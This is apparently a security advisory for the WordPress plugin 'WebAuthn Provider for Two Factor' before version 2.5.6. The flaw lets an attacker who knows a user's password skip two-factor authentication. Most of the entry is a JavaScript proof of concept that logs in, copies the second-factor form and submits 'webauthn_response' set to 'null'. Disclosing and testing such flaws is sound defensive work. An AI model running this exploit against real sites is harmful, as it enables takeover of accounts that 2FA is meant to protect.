WebAuthn Provider for Two Factor < 2.5.6 – 2FA Bypass | CVE 2026-11883

Description

The plugin does not correctly validate the second-factor authentication response, allowing an attacker who already knows a user's password to bypass the two-factor authentication requirement by submitting a malformed request.

Proof of Concept

```
import makeFetchCookie from 'fetch-cookie';
import cherio from 'cherio';

const fetchCookie = makeFetchCookie(fetch);

let response = await fetchCookie('https:/site.com/wp-login.php', {
    method: 'POST',
    body: new URLSearchParams({
        'log': 'username',
        'pwd': 'password',
        'wp-submit': 'Log In',
    }),
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
});

let text = await response.text();

const $ = cherio.load(text);
const params = new URLSearchParams();
$('input').each((i, el) => {
    params.append($(el).attr('name'), $(el).attr('value') ?? '');
});

params.set('webauthn_response', 'null');

const url = $('form').attr('action');

response = await fetchCookie(url, {
    method: 'POST',
    body: params,
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
});

console.log(response.url, response.status);
```